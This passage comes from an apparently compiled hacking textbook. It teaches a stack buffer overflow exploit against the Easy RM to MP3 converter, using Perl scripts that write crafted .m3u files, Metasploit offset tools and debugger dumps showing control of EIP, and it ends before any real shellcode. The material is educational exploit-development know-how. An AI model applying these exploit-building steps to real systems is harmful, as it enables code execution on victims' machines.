
quite simple. But it can be circumvented easily if you allow a small, but limited, number of

outbound connections from the honeypot/proxy. The mere availability of such a program shows

that the cyber battle between detection and stealthiness of honeypots has not only begun, but

that an arms-race will likely follow.

Conclusion

This paper gave an overview of current state-of-the-art of honeypot detection by looking at the

network layer. Further papers on this topic will move to the system world and the application

layer and explain how to identify a honeypot by looking at these higher layers.

Page 236: Hacker techniques, exploit and incident handling

235 | P a g e

Buffer Overflows Why is Programs/Applications Vulnerable?

Verify the bug

First of all, let’s verify that the application does indeed crash when opening a malicious m3u file. (Or find yourself an application that crashes when you feed specifically crafted data to it).

Get yourself a copy of the vulnerable version of Easy RM to MP3 and install it on a computer running Windows XP. The vulnerability report states that the exploit works on XP SP2 (English), but I’ll use XP SP3 (English).

Local copy of the vulnerable application can be downloaded here:

Easy RM to MP3 Conversion Utility (2.8 MiB, 2,325 hits) You do not have permission to download this file.

Quick side note: you can find older versions of applications at oldapps.com and oldversion.com, or by looking at exploits on exploit-db.com (which often have a local copy of the vulnerable application as well)

We’ll use the following simple Perl script to create an “.m3u” file that may help us to discover more information about the vulnerability:

my $file= "crash.m3u"; my $junk= "\x41" x 10000; open($FILE,">$file"); print $FILE "$junk"; close($FILE); print "m3u File Created successfully\n";

Run the Perl script to create the m3u file. The fill will be filled with 10000 A’s (\x41 is the hexadecimal representation of A) and open this m3u file with Easy RM to MP3…. The application throws an error, but it looks like the error is handled correctly and the application do not crash. Modify the script to write a file with 20000 A’s and try again, the same behavior. (Exception is handled correctly, so we still could not overwrite anything useful). Now change the script to write 30000 A’s, create the m3u file and open it in the utility.

Boom – application dies.

Page 237: Hacker techniques, exploit and incident handling

236 | P a g e

Ok, so the application crashes if we feed it a file that contains between 20000 and 30000 A’s. But what can we do with this?

Verify the bug – and see if it could be interesting

Obviously, not every application crash can lead to exploitation. In many cases, an application crash will not lead to exploitation… But sometimes it does. With “exploitation”, I mean that you want the application to do something it was not intended to do… such as running your own code. The easiest way to make an application do something different is by controlling its application flow (and redirects it to somewhere else). This can be done by controlling the Instruction Pointer (or Program Counter), which is a CPU registering that contains a pointer to where the next instruction that needs to be executed is located.

Suppose an application calls a function with a parameter. Before going to the function, it saves the current location in the instruction pointer (so it knows where to return when the function completes). If you can modify the value in this pointer, and point it to a location in memory that contains your own piece of code, then you can change the application flow and make it execute something different (other than returning back to the original place). The code that you want to be executed after controlling the flow is often referred to as “shellcode”. So if we make the application run our shellcode, we can call it a working exploit. In most cases, this pointer is referenced by the term EIP. This register size is 4 bytes. So if you can modify those 4 bytes, you own the application (and the computer the application runs on)

Before we proceed – some theory

Just a few terms that you will need:

Every Windows application uses parts of memory. The process memory contains 3 major components:

• Code segment (instructions that the processor executes. The EIP keeps track of the next instruction)

• data segment (variables, dynamic buffers) • Stack segment (used to pass data/arguments to functions, and is used as space for

variables. The stack starts (= the bottom of the stack) from the very end of the virtual memory of a page and grows down (to a lower address). a PUSH adds something to the top of the stack, POP will remove one item (4 bytes) from the stack and puts it in a register.

If you want to access the stack memory directly, you can use ESP (Stack Pointer), which points at the top (so the lowest memory address) of the stack.

• After a push, ESP will point to a lower memory address (address is decremented with the size of the data that is pushed onto the stack, which is 4 bytes in case of addresses/pointers). Decrements usually happen before the item is placed on the stack (depending on the implementation… if ESP already points at the next free location in the stack, the decrement happens after placing data on the stack)

• After a POP, ESP points to a higher address (address is incremented (by 4 bytes in case of addresses/pointers)). Increments happen after an item is removed from the stack.

Page 238: Hacker techniques, exploit and incident handling

237 | P a g e

When a function/subroutine is entered, a stack frame is created. This frame keeps the parameters of the parent procedure together and is used to pass arguments to the subroutine. The current location of the stack can be accessed via the stack pointer (ESP), the current base of the function is contained in the base pointer (EBP) (or frame pointer).

The CPU’s general purpose registers (Intel, x86) are:

• EAX: accumulator: used for performing calculations, and used to store return values from function calls. Basic operations such as add, subtract, compare use this general-purpose register

• EBX: base (does not have anything to do with base pointer). It has no general purpose and can be used to store data.

• ECX: counter: used for iterations. ECX counts downward. • EDX: data: this is an extension of the EAX register. It allows for more complex calculations

(multiply, divide) by allowing extra data to be stored to facilitate those calculations. • ESP : stack pointer • EBP : base pointer • ESI : source index : holds location of input data • EDI : destination index : points to location of where result of data operation is stored • EIP : instruction pointer

Process Memory

When an application is stared in a Win32 environment, a process is created and virtual memory is assigned to. In a 32 bit process, the address ranges from 0×00000000 to 0xFFFFFFFF, where 0×00000000 to 0x7FFFFFFF is assigned to "user-land", and 0×80000000 to 0xFFFFFFFF is assigned to "kernel land". Windows uses the flat memory model, which means that the CPU can directly/sequentially/linearly address all of the available memory locations, without having to use a segmentation/paging scheme.

Kernel land memory is only accessible by the OS.

When a process is created, a PEB (Process Execution Block) and TEB (Thread Environment Block) are created.

The PEB contains all user land parameters that are associated with the current process:

• location of the main executable • pointer to loader data (can be used to list all DLLs / modules that are/can be loaded into

the process) • pointer to information about the heap

The TEB describes the state of a thread, and includes

• location of the PEB in memory • location of the stack for the thread it belongs to • pointer to the first entry in the SEH chain (see tutorial 3 and 3b to learn more about what a

SEH chain is)

Each thread inside the process has one TEB.

Page 239: Hacker techniques, exploit and incident handling

238 | P a g e

The Win32 process memory map looks like this:

The text segment of a program image / DLL is read only, as it only contains the application code. This prevents people from modifying the application code. This memory segment has a fixed size. The data segment is used to store global and static program variables. The data segment is used for initialized global variables, strings, and other constants.

The data segment is writable and has a fixed size. The heap segment is used for the rest of the program variables. It can grow larger or smaller as desired. All of the memory in the heap is

Page 240: Hacker techniques, exploit and incident handling

239 | P a g e

managed by allocator (and De-Allocator) algorithms. A memory region is reserved by these algorithms. The heap will grow towards higher addresses.

In a DLL, the code, imports (list of functions used by the DLL, from another DLL or application), and exports (functions it makes available to other DLL’s applications) are part of the .text segment.

The Stack

The stack is a piece of the process memory, a data structure that works LIFO (Last in first out). A stack gets allocated by the OS, for each thread (when the thread is created). When the thread ends, the stack is cleared as well. The size of the stack is defined when it gets created and doesn’t change. Combined with LIFO and the fact that it does not require complex management structures/mechanisms to get managed, the stack is pretty fast, but limited in size.

LIFO means that the most recent placed data (result of a PUSH instruction) is the first one that will be removed from the stack again. (It is removed by a POP instruction).

When a stack is created, the stack pointer points to the top of the stack (= the highest address on the stack). As information is pushed onto the stack, this stack pointer decrements (the pointer goes to a lower address). So in essence, the stack grows to a lower address.

The stack contains local variables, function calls and other info that does not need to be stored for a larger amount of time. As more data is added to the stack (pushed onto the stack), the stack pointer is decremented and points at a lower address value.

Every time a function is called, the function parameters are pushed onto the stack, as well as the saved values of registers (EBP, EIP). When a function returns, the saved value of EIP is retrieved from the stack and placed back in EIP, so the normal application flow can be resumed.

Let’s use a few lines of simple code to demonstrate the behavior:

01 #include <string.h>

02

03 void do_something(char *Buffer)

04 {

05 char MyVar[128];

06 strcpy(MyVar,Buffer);

Page 241: Hacker techniques, exploit and incident handling

240 | P a g e

07 }

08

09 int main (int argc, char **argv)

10 {

11 do_something(argv[1]);

12 }

(You can compile this code. Get yourself a copy of Dev-C++ 4.9.9.2, create a new Win32 console project (use C as language, not C++), paste the code and compile it). On my system, I called the project "stacktest".

Run the application : "stacktest.exe AAAA". Nothing should return.

This applications takes an argument (argv[1] and passes the argument to function do_something(). In that function, the argument is copied into a local variable that has a maximum of 128 bytes. This means that if the argument is longer than 127 bytes (+ a null byte to terminate the string), the buffer may get overflown.

When function "do_something(param1)" gets called from inside main(), the following things happen:

A new stack frame will be created, on top of the ‘parent’ stack. The stack pointer (ESP) points to the highest address of the newly created stack. This is the "top of the stack".

Page 242: Hacker techniques, exploit and incident handling

241 | P a g e

Before do_something() is called, a pointer to the argument(s) gets pushed to the stack. In our case, this is a pointer to argv[1].

Stack after the MOV instruction:

Page 243: Hacker techniques, exploit and incident handling

242 | P a g e

Next, function do_something is called. The CALL instruction will first put the current instruction pointer onto the stack (so it knows where to return to if the function ends) and will then jump to the function code.

Stack after the CALL instruction:

As a result of the push, ESP decrements 4 bytes and now points to a lower address.

Page 244: Hacker techniques, exploit and incident handling

243 | P a g e

(or, as seen in a debugger) :

ESP points at 0022FF5C. At this address, we see the saved EIP (Return to…), followed by a pointer to the parameter (AAAA in this example). This pointer was saved on the stack before the CALL instruction was executed.

Next, the function prolog executes. This basically saves the frame pointer (EBP) onto the stack, so it can be restored as well when the function returns. The instruction to save the frame pointer is "push ebp". ESP is decremented again with 4 bytes.

Following the push ebp, the current stack pointer (ESP) is put in EBP. At that point, both ESP and EBP point at the top of the current stack. From that point on, the stack will usually be referenced by ESP (top of the stack at any time) and EBP (the base pointer of the current stack). This way, the application can reference variables by using an offset to EBP.

Page 245: Hacker techniques, exploit and incident handling

244 | P a g e

Most functions start with this sequence : PUSH EBP, followed by MOV EBP,ESP

So, if you would push another 4 bytes to the stack, ESP would decrement again and EBP would still stay where it was. You could reference these 4 bytes by using EBP-0×8.

Next, we can see how stack space for the variable MyVar (128bytes) is declared/allocated. In order to hold the data, some space is allocated on the stack to hold data in this variable… ESP is decremented by a number of bytes. This number of bytes will most likely is more than 128 bytes, because of an allocation routine determined by the compiler. In the case of Dev-C++, this is 0×98 bytes. So you will see a SUB ESP,0×98 instruction. That way, there will be space available for this variable.

The disassembly of the function looks like this :

01 00401290 /$ 55 PUSH EBP

02 00401291 |. 89E5 MOV EBP,ESP

03 00401293 |. 81EC 98000000 SUB ESP,98

Page 246: Hacker techniques, exploit and incident handling

245 | P a g e

04 00401299 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |

05 0040129C |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; |

06 004012A0 |. 8D85 78FFFFFF LEA EAX,DWORD PTR SS:[EBP-88] ; |

07 004012A6 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |

08 004012A9 |. E8 72050000 CALL <jmp. &msvcrt.strcpy=""> ; \strcpy

09 004012AE |. C9 LEAVE

10 004012AF \. C3 RETN</jmp.>

(Don’t worry about the code too much. You can clearly see the function prolog (PUSH EBP and MOV EBP, ESP), you can also see where space gets allocated for MyVar (SUB ESP, 98), and you can see some MOV and LEA instructions (which basically set up the parameters for the strcpy function… taking the pointer where argv[1] sits and using it to copy data from, into MyVar.

If there would not have been a strcpy() in this function, the function would now end and "unwind" the stack. Basically, it would just move ESP back to the location where saved EIP was, and then issues a RET instruction. A ret, in this case, will pick up the saved EIP pointer from the stack and jump to it. (Thus, it will go back to the main function, right after where do_something() was called). The epilog instruction is executed by a LEAVE instruction (which will restore both the frame pointer and EIP).

In my example, we have a strcpy() function.

This function will read data, from the address pointed to by [Buffer], and store it in <space for MyVar>, reading all data until it sees a null byte (string terminator). While it copies the data, ESP stays where it is. The strcpy() does not use PUSH instructions to put data on the stack… it basically reads a byte and writes it to the stack, using an index (for example ESP, ESP+1, ESP+2, etc). So after the copy, ESP still points at the begin of the string.

Page 247: Hacker techniques, exploit and incident handling

246 | P a g e

That means… If the data in [Buffer] is somewhat longer than 0×98 bytes, the strcpy() will overwrite saved EBP and eventually saved EIP (and so on). After all, it just continues to read & write until it reaches a null byte in the source location (in case of a string)

ESP still points at the begin of the string. The strcpy() completes as if nothing is wrong. After the strcpy(), the function ends. And this is where things get interesting. The function epilog kicks in. Basically, it will move ESP back to the location where saved EIP was stored, and it will

Page 248: Hacker techniques, exploit and incident handling

247 | P a g e

issue a RET. It will take the pointer (AAAA or 0×41414141 in our case, since it got overwritten), and will jump to that address.

So you control EIP.

Long story short, by controlling EIP, you basically change the return address that the function will uses in order to “resume normal flow”.

Of course, if you change this return address by issuing a buffer overflow, it’s not a “normal flow” anymore.

Suppose you can overwrite the buffer in MyVar, EBP, EIP and you have A’s (your own code) in the area before and after saved EIP… think about it. After sending the buffer ([MyVar][EBP][EIP][your code]), ESP will/should point at the beginning of [your code]. So if you can make EIP go to your code, you’re in control.

Note : when a buffer on the stack overflows, the term "stack based overflow" or "stack buffer overflow" is used. When you are trying to write past the end of the stack frame, the term "stack overflow" is used. Don’t mix those two up, as they are entirely different.

The debugger

In order to see the state of the stack (and value of registers such as the instruction pointer, stack pointer etc), we need to hook up a debugger to the application, so we can see what happens at the time the application runs (and especially when it dies).

There are many debuggers available for this purpose. The two debuggers I use most often are Windbg, and Immunity’s Debugger

Let’s use Windbg. Install Windbg (Full install) and register it as a “post-mortem” debugger using “Windbg -I”.

Page 249: Hacker techniques, exploit and incident handling

248 | P a g e

You can also disable the “xxxx has encountered a problem and needs to close” popup by setting the following registry key:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto : set to 0

In order to avoid Windbg complaining about Symbol files not found, create a folder on your hard drive (let’s say c:\windbgsymbols). Then, in Windbg, go to “File” – “Symbol File Path” and enter the following string:

SRV*C:\windbgsymbols*http://msdl.microsoft.com/download/symbols

(do NOT put an empty line after this string ! make sure this string is the only string in the symbol path field)

If you want to use Immunity Debugger instead: get a copy here and install it. Open Immunity debugger, go to "Options" – "Just in-time debugging" and click "Make Immunity Debugger just in-time debugger".

Ok, let’s get started.

Launch Easy RM to MP3, and then open the crash.m3u file again. The application will crash again. If you have disabled the popups, Windbg or Immunity debugger will kick in automatically. If you get a popup, click the “debug” button and the debugger will be launched:

Windbg:

Page 251: Hacker techniques, exploit and incident handling

250 | P a g e

This GUI shows the same information, but in a more…errr.. graphical way. In the upper left corner, you have the CPU view, which shows assembly instructions and their opcodes. (The window is empty because EIP currently points at 41414141 and that’s not a valid address). In the upper right windows, you can see the registers. In the lower left corner, you see the memory dump of 00446000 in this case. In the lower right corner, you can see the contents of the stack (so the contents of memory at the location where ESP points at).

Anyways, in both cases, we can see that the instruction pointer contains 41414141, which is the hexadecimal representation for AAAA.

A quick note before proceeding: On Intel x86, the addresses are stored little-endian (so backwards). The AAAA you are seeing is in fact AAAA :-) (Or, if you have sent ABCD in your buffer, EIP would point at 44434241 (DCBA)

So it looks like part of our m3u file was read into the buffer and caused the buffer to overflow. We have been able to overflow the buffer and write across the instruction pointer. So we may be able to control the value of EIP.

Since our file does only contain A’s, we don’t know exactly how big our buffer needs to be in order to write exactly into EIP. In other words, if we want to be specific in overwriting EIP (so we can feed it usable data and make it jump to our evil code, we need to know the exact position in our buffer/payload where we overwrite the return address (which will become EIP when the function returns). This position is often referred to as the “offset”.

Page 252: Hacker techniques, exploit and incident handling

251 | P a g e

Determining the buffer size to write exactly into EIP

We know that EIP is located somewhere between 20000 and 30000 bytes from the beginning of the buffer. Now, you could potentially overwrite all memory space between 20000 and 30000 bytes with the address you want to overwrite EIP with. This may work, but it looks much nicer if you can find the exact location to perform an address overwrites. In order to determine the exact offset of EIP in our buffer, we need to do some additional work.

First, let’s try to narrow down the location by changing our Perl script just a little:

Let’s cut things in half. We’ll create a file that contains 25000 A’s and another 5000 B’s. If EIP contains 41414141 (AAAA), EIP sits between 20000 and 25000, and if EIP contains 42424242 (BBBB), EIP sits between 25000 and 30000.

my $file= "crash25000.m3u"; my $junk = "\x41" x 25000; my $junk2 = "\x42" x 5000; open($FILE,">$file"); print $FILE $junk.$junk2; close($FILE); print "m3u File Created successfully\n";

Create the file and open crash25000.m3u in Easy RM to MP3.

OK, so eip contains 42424242 (BBBB), so we know EIP has an offset between 25000 and 30000. That also means that we should/may see the remaining B’s in memory where ESP points at (given that EIP was overwritten before the end of the 30000 character buffer)

Buffer: [ 5000 B's ] [AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB......] 25000 A's EIP ESP points here

Dump the contents of ESP :

0:000> d esp 000ff730 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff740 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff750 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB

Page 253: Hacker techniques, exploit and incident handling

252 | P a g e

000ff760 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff770 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff780 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff790 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff7a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0:000> d 000ff7b0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff7c0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff7d0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff7e0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff7f0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff800 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff810 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff820 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0:000> d 000ff830 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff840 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff850 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff860 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff870 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff880 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff890 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 000ff8a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB

That is great news. We have overwritten EIP with BBBB and we can also see our buffer in ESP.

Before we can start tweaking the script, we need to find the exact location in our buffer that overwrites EIP.

In order to find the exact location, we’ll use MetaSploit.

MetaSploit has a nice tool to assist us with calculating the offset. It will generate a string that contains unique patterns. Using this pattern (and the value of EIP after using the pattern in our malicious .m3u file), we can see how big the buffer should be to write exactly into EIP.

Open the tools folder in the MetaSploit framework3 folder (I’m using a linux version of MetaSploit 3). You should find a tool called pattern_create.rb. Create a pattern of 5000 characters and write it into a file

root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb Usage: pattern_create.rb length [set a] [set b] [set c] root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000

Edit the Perl script and replace the content of $junk2 with our 5000 characters.

my $file= "crash25000.m3u"; my $junk = "\x41" x 25000; my $junk2 = “put the 5000 characters here” open($FILE,">$file"); print $FILE $junk.$junk2;

Page 254: Hacker techniques, exploit and incident handling

253 | P a g e

close($FILE); print "m3u File Created successfully\n";

Create the m3u file. Open this file in Easy RM to MP3, wait until the application dies again, and take note of the contents of EIP

At this time, EIP contains 0x356b4234 (note: little endian: we have overwritten EIP with 34 42 6b 35 = 4Bk5

Let’s use a second MetaSploit tool now, to calculate the exact length of the buffer before writing into EIP, feed it with the value of EIP (based on the pattern file) and length of the buffer:

root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x356b4234 5000 1094 root@bt:/pentest/exploits/framework3/tools#

1094. That’s the buffer length needed to overwrite EIP. So if you create a file with 25000+1094 A’s, and then add 4 B’s (42 42 42 42 in hex) EIP should contain 42 42 42 42. We also know that ESP points at data from our buffer, so we’ll add some C’s after overwriting EIP.

Let’s try. Modify the Perl script to create the new m3u file.

my $file= "eipcrash.m3u"; my $junk= "A" x 26094; my $eip = "BBBB"; my $espdata = "C" x 1000; open($FILE,">$file"); print $FILE $junk.$eip.$espdata; close($FILE); print "m3u File Created successfully\n";

Create eipcrash.m3u, open it in Easy RM to MP3, observe the crash and look at eip and the contents of the memory at ESP:

Page 255: Hacker techniques, exploit and incident handling

254 | P a g e

0:000> d esp 000ff730 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff740 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff750 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff760 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff770 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff780 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff790 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ff7a0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC

In Immunity Debugger, you can see the contents of the stack, at ESP, by looking at the lower right hand window.

Excellent. EIP contains BBBB, which is exactly what we wanted. So now we control EIP. On top of that, ESP points to our buffer (C’s)

Note : the offset shown here is the result of the analysis on my own system. If you are trying to reproduce the exercises from this tutorial on your own system, odds are high that you will get a different offset address. So please don’t just take the offset value or copy the source code to your system, as the offset is based on the file path where the m3u file is stored. The buffer that is vulnerable to an overflow includes the full path to the m3u file. So if the path on your system is shorter or larger than mine, then the offset will be different.

Our exploit buffer so far looks like this:

Buffer EBP EIP ESP points here

|

V

A (x 26090) AAAA BBBB CCCCCCCCCCCCCCCCCCCCCCCC

414141414141…41 41414141 42424242

26090 bytes 4 bytes 4 bytes 1000 bytes?

Page 256: Hacker techniques, exploit and incident handling

255 | P a g e

Find memory space to host the shellcode

We control EIP. So we can point EIP to somewhere else, to a place that contains our own code (shellcode). But where is this space, how can we put our shellcode in that location and how can we make EIP jump to that location?

In order to crash the application, we have written 26094 A’s into memory, we have written a new value into the saved EIP field (ret), and we have written a bunch of C’s.

When the application crashes, take a look at the registers and dump all of them (d esp, d EAX, d EBX, d ebp, …). If you can see your buffer (either the A’s or the C’s) in one of the registers, then you may be able to replace those with shellcode and jump to that location. In our example, we can see that ESP seems to point to our C’s (remember the output of d ESP above), so ideally we would put our shellcode instead of the C’s and we tell EIP to go to the ESP address.

Despite the fact that we can see the C’s, we don’t know for sure that the first C (at address 000ff730, where ESP points at), is in fact the first C that we have put in our buffer.

We’ll change the Perl script and feed a pattern of characters (I’ve taken 144 characters, but you could have taken more or taken less) instead of C’s:

my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = "BBBB"; my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK”. "5ABCDEFGHIJK6ABCDEFGHIJK”. "7ABCDEFGHIJK8ABCDEFGHIJK”. "9ABCDEFGHIJKAABCDEFGHIJK". "BABCDEFGHIJKCABCDEFGHIJK"; open($FILE,">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); print "m3u File Created successfully\n";

Create the file, open it, let the application die and dump memory at location ESP:

0:000> d ESP 000ff730 44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46 47 DEFGHIJK2ABCDEFG 000ff740 48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a 4b HIJK3ABCDEFGHIJK 000ff750 34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42 43 4ABCDEFGHIJK5ABC 000ff760 44 45 46 47 48 49 4a 4b-36 41 42 43 44 45 46 47 DEFGHIJK6ABCDEFG 000ff770 48 49 4a 4b 37 41 42 43-44 45 46 47 48 49 4a 4b HIJK7ABCDEFGHIJK 000ff780 38 41 42 43 44 45 46 47-48 49 4a 4b 39 41 42 43 8ABCDEFGHIJK9ABC 000ff790 44 45 46 47 48 49 4a 4b-41 41 42 43 44 45 46 47 DEFGHIJKAABCDEFG 000ff7a0 48 49 4a 4b 42 41 42 43-44 45 46 47 48 49 4a 4b HIJKBABCDEFGHIJK 0:000> d 000ff7b0 43 41 42 43 44 45 46 47-48 49 4a 4b 00 41 41 41 CABCDEFGHIJK.AAA 000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Page 257: Hacker techniques, exploit and incident handling

256 | P a g e

000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Ok, we can see 2 interesting things here:

• ESP starts at the 5th character of our pattern, and not the first character. You can find out why by looking at this forum post : http://www.corelan.be:8800/index.php/forum/writing-exploits/question-about-esp-in-tutorial-pt1

• After the pattern string, we see “A’s”. These A’s most likely belong to the first part of the buffer (26101 A’s), so we may also be able to put our shellcode in the first part of the buffer (before overwriting RET)…

But let’s not go that way yet. We’ll first add 4 characters in front of the pattern and do the test again. If all goes well, ESP should now point directly at the beginning of our pattern:

my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = "BBBB"; my $preshellcode = "XXXX"; my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" . "5ABCDEFGHIJK6ABCDEFGHIJK" . "7ABCDEFGHIJK8ABCDEFGHIJK" . "9ABCDEFGHIJKAABCDEFGHIJK". "BABCDEFGHIJKCABCDEFGHIJK"; open($FILE,">$file"); print $FILE $junk.$eip.$preshellcode.$shellcode; close($FILE); print "m3u File Created successfully\n"; Let the application crash and look at ESP again

0:000> d ESP 000ff730 31 41 42 43 44 45 46 47-48 49 4a 4b 32 41 42 43 1ABCDEFGHIJK2ABC 000ff740 44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46 47 DEFGHIJK3ABCDEFG 000ff750 48 49 4a 4b 34 41 42 43-44 45 46 47 48 49 4a 4b HIJK4ABCDEFGHIJK 000ff760 35 41 42 43 44 45 46 47-48 49 4a 4b 36 41 42 43 5ABCDEFGHIJK6ABC 000ff770 44 45 46 47 48 49 4a 4b-37 41 42 43 44 45 46 47 DEFGHIJK7ABCDEFG 000ff780 48 49 4a 4b 38 41 42 43-44 45 46 47 48 49 4a 4b HIJK8ABCDEFGHIJK 000ff790 39 41 42 43 44 45 46 47-48 49 4a 4b 41 41 42 43 9ABCDEFGHIJKAABC 000ff7a0 44 45 46 47 48 49 4a 4b-42 41 42 43 44 45 46 47 DEFGHIJKBABCDEFG 0:000> d 000ff7b0 48 49 4a 4b 43 41 42 43-44 45 46 47 48 49 4a 4b HIJKCABCDEFGHIJK 000ff7c0 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA 000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Page 258: Hacker techniques, exploit and incident handling

257 | P a g e

000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Much better !

We now have

• control over EIP • An area where we can write our code (at least 144 bytes large. If you do some more tests

with longer patterns, you will see that you have even more space… plenty of space in fact) • a register that directly points at our code, at address 0x000ff730

Now we need to

• build real shellcode • Tell EIP to jump to the address of the start of the shellcode. We can do this by overwriting

EIP with 0x000ff730.

Let’s see

We’ll build a small test case: first 26094 A’s, then overwrite EIP with 000ff730, and then put 25 NOP’s, then a break, and then more NOP’s.

If all goes well, EIP should jump 000ff730, which contains NOPs. The code should slide until the break.

my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x000ff730); my $shellcode = "\x90" x 25; $shellcode = $shellcode."\xcc"; $shellcode = $shellcode."\x90" x 25; open($FILE,">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); print "m3u File Created successfully\n"; The application died, but we expected a break instead of an access violation.

When we look at EIP, it points to 000ff730, and so does ESP.

When we dump ESP, we don’t see what we had expected.

eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c eip=000ff730 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. <Unloaded_P32.DLL>+0xff71f:

Page 259: Hacker techniques, exploit and incident handling

258 | P a g e

